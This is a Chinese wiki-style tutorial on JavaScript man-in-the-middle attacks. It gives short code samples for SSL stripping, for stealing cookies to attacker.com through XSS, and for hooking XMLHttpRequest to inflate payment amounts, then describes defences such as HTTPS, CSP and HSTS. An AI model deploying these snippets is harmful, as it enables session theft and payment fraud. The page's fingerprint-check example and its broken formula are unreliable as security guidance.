Javascript中间人攻击
外观
JavaScript中间人攻击[编辑 | 编辑源代码]
JavaScript中间人攻击(Man-in-the-Middle Attack,简称MITM)是一种网络安全攻击方式,攻击者在通信双方之间秘密拦截、篡改或窃取数据。在JavaScript环境中,这类攻击通常针对Web应用与服务器之间的HTTP/HTTPS通信,或客户端脚本与API的交互过程。
基本概念[编辑 | 编辑源代码]
中间人攻击的核心原理是攻击者通过某种方式插入到通信链路中,使通信双方误以为他们直接与对方通信,但实际上所有数据都经过攻击者中转。JavaScript作为客户端脚本语言,常因以下场景成为攻击目标:
- 未加密的HTTP连接
- 配置错误的HTTPS证书
- 恶意第三方脚本注入
- 公共Wi-Fi等不安全网络环境
攻击类型[编辑 | 编辑源代码]
1. SSL剥离[编辑 | 编辑源代码]
将HTTPS连接降级为HTTP:
// 恶意重定向示例(攻击者脚本)
if (window.location.protocol === 'https:') {
window.location.href = 'http://' + window.location.host + window.location.pathname;
}
2. 会话劫持[编辑 | 编辑源代码]
窃取Cookie或会话令牌:
// 通过XSS窃取Cookie的恶意脚本
new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
= 3. API请求篡改[编辑 | 编辑源代码]
修改AJAX请求/响应:
// 原生XMLHttpRequest劫持示例
const originalSend = XMLHttpRequest.prototype.send;
XMLHttpRequest.prototype.send = function(body) {
if (this.url.includes('/api/payment')) {
body = body.replace('amount=100', 'amount=1000'); // 修改交易金额
}
originalSend.call(this, body);
};
防御措施[编辑 | 编辑源代码]
方法 | 实现方式 | 有效性 |
---|---|---|
HTTPS | 全站TLS加密 | ★★★★★ |
CSP | Content-Security-Policy头 | ★★★★☆ |
HSTS | Strict-Transport-Security头 | ★★★★★ |
证书钉扎 | Public-Key-Pins头 | ★★★☆☆ |
= 代码示例:HTTPS强制跳转[编辑 | 编辑源代码]
// 前端HTTPS强制实现
if (location.protocol !== 'https:' && !location.hostname.match(/^localhost|127\.0\.0\.1$/)) {
location.replace(`https://${location.host}${location.pathname}`);
}
数学原理[编辑 | 编辑源代码]
中间人攻击成功的概率模型: 其中:
- 是第i层防御的有效性概率
- 是漏洞利用成功率
真实案例[编辑 | 编辑源代码]
案例:银行网站中间人攻击(2019) 攻击者通过公共Wi-Fi注入恶意JS脚本: 1. 将转账API请求从`POST /transfer`重定向到攻击者服务器 2. 修改请求参数后转发给真实银行API 3. 拦截响应并删除交易记录显示
检测方法[编辑 | 编辑源代码]
- 使用浏览器开发者工具检查网络请求
- 验证证书指纹:
// 检查证书指纹
fetch('https://example.com')
.then(res => {
const cert = res.headers.get('x-certificate-fingerprint');
if (cert !== 'EXPECTED_FINGERPRINT') {
console.error('证书可能被篡改!');
}
});
高级防护[编辑 | 编辑源代码]
对于敏感操作建议添加:
- 时间戳签名验证
- 请求参数哈希校验
- 二次认证确认
// 请求签名示例
function generateSignature(params, secret) {
const str = Object.keys(params)
.sort()
.map(k => `${k}=${params[k]}`)
.join('&');
return CryptoJS.HmacSHA256(str, secret).toString();
}
总结[编辑 | 编辑源代码]
JavaScript中间人攻击是Web安全的主要威胁之一,开发者应当:
- 始终使用HTTPS
- 实施严格的内容安全策略
- 验证所有第三方资源
- 对敏感操作添加额外验证层
通过理解攻击原理和实现适当的防御措施,可以显著降低此类安全风险。